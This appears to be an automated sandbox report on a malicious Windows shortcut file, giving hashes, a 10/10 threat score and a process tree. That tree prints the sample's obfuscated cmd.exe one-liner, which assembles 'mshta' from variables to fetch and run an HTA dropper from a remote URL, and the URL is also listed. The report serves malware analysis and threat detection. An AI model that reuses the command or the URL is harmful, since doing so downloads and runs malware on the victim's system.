Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-WJ1RPS.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-WJ1RPS.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-WJ1RPS.lnk
- Size 1KB
- Sample260804-kfpl9svhmd
- SHA256 f6aefd34e1f5fbc81d62a1497dbc99d2ed5cf2292afecacbea10a562daa9e143
- MD5 6113d608385fc67dd6bd7b4c6149c9b3
- SHA1 b4ee84e636cc9c9e3946393288aa7fc569671829
- SHA512 df8667919cebcf29ded1c48b35dacc93c1c130738ffd5e8c9992084d6f0996cbbd64dfe1391389eb52764c81fb41ee07244c716ce5942397112e6b7eb10a1563
- TLSH T1973197402FED0664F3F39FB384BB572089BAB9A58D24CA2E0040464C1022A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2816 cmd.exe 1968 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1968 wrote to memory of 2816 1968 cmd.exe 90 PID 2816 wrote to memory of 4700 2816 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-WJ1RPS.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set gCOG=msh&&set aTcV=ta&&start "" !gCOG!!aTcV! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4700
-
-